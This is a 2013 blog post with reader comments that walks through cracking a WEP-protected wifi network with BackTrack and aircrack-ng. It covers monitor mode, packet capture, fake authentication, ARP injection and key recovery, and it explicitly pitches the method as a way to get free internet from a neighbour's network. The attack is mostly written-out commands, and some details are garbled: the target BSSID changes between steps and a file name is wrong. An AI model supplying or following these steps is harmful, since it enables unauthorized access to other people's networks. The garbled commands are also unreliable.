Wednesday, July 31, 2013

How to find wifi password easily with backtrack in 3 easy steps

Today's world is the world of information technology and internet .Internet is needed everywhere .Internet has become the part of our life.we can talk with friends ,play games ,earn money ,study and do many more things through internet .The main thing is that internet is not free u have to pay money for using Internet.but you can use it freely.I m going to explain.

Note:-The instruction below is for wep  encyrpt wifi security. for wpa and wpa/psk2 i would share later..........
few terminology you need to know
  1. wep: Wired Equivalent Privacy has weaker security than wpa and wpa/psk2
  2. AP : stands for Access Point or a wireless router .
  3. MAC Address : stands for ;Media Access Control ,its a unique address , It is in the Hexadecimal format like 00:5B:6B:2F:78:C8  .
  4. BSSID : It is the AP Mac Address.
  5. ESSID : It shows the AP broadcasting name 
  1. download Backtrack 
  2. A wifi catching devices if u are from desktop ,if laptop then not needed
step1 :
  • After downloading backtrack iso u need to make it bootable .
  • you can make bootable either in your usb devices or dvd drive choice is yours.
  • download this software for making bootable either try this one 
step 2:
    • Boot your computer from usb or dvd drive.
    • after some time you will see linux desktop .
    • now click console at left top corner which is like command mode in window
    step 3:
      type the following code that are present in red color in your linux console.

      1)  type: ifconfig wlan0 up  (where wlan0 is the name of the wireless card)
          then type: iwconfig wlan0

      2) Now Putting your WiFi Adapter on Monitor Mode
          just open new console and enter the command below
          airmon-ng start (your interface)
           type :- airmon-ng start wlan0
      3)  Finding a suitable Target
            After putting your card into monitor mode,You can discover the surrounding networks        by entering the following command
             type:-   airodump-ng mon0


      4) Attacking the Target

         Now to crack the WEP key you will have to capture the targets data into a file, To make    this we apply airodump tool .

          airodump-ng mon0 --bssid -c (channel ) -w (save to f )


        As my target is broadcasted in channel 6 and has a bssid "98:fc:1a:c9:14:22" ,I type    following syntax and save the captured data as "shiva"

        type :- airodump-ng mon0 --bssid 98:fc:11:c9:14:22 -c 6 -w shiva

      5) Now Speed up the cracking Using Aireplay
      Now you will have to capture at least 20,000 data packets to crack WEP .This can be done  in two ways, The first one would be a (passive attack ) wait for a client to connect to the AP and then begin capturing the data packets but this process is very slow, it could take a long time or even weeks to gather that many data packets

      The second technique would be an (active attack )this technique is fast and only takes minutes to gather and inject that numerous packets .
      In an active attack you'll have do a Fake authentication (associate) with the AP ,then you will have to accumulate and inject packets. These could be done  easily by entering the below statements.

      aireplay-ng - 1 3 -a (bssid of the target ) (interface) 
      type:-aireplay-ng -1 3 -a 98:fc:11:c9:14:22 mon0 
      Afterward doing a fake authentication ,now its time to get and inject Arp packets . To this you'll have to open a new Konsole simultaneously and type in the following commands

      aireplay-ng 3 -b (bssid of target) -h ( Mac address of mon0) (interface)

      again type  aireplay-ng 3 -b  98:fc:11:c9:14:12 -h 10:c0:ca:50:f8:32 mon0

      look until it gains 20000 packets , best would be to look until it achieves about 50,000 to 60,000 packets
        6) Cracking WEP key using Aircrack

      Now its time crack the WEP key from the captured data, write the following syntax in a new konsole to crack the WEP key
      aircrack-ng (name of the file )

      type:-aircrack-ng shiva-0.1-cap

      In this way you can easily crak your neighbour wep encyrpt wifi password,for cracking wpa and wpa/psk2 i will update later after few days..yout comments and suggestion are most welcomed.



      1. couple of months ago i tried by booting with VMware player...IT was WPA2 type security..I tried but failed due to unsupported of wireless adapter..Later on with another wireless adapter which is supported but I still can't do it ??? Can i do it without wireless adapter ???

        1. According to my knowledge area and experience ,I don't prefer installing backtrack with vmware ,better instal it in your separate partation of harddrive.It won't take much space .usually wireless card won't work properly with vmware or virtual box..
          NO, it cannot be done without wireless adaptor unless you are from laptop..I prefer any wireless adaptor product from TP-LINK .coz it is supported by backtrack and cheap too....I will be posting how to crack wpa2 in easy way very soon ...stay updated with site....

      2. Thanks for giving information.Through the I found this thread

      3. please, post, How to crack wpa2 in easy way?

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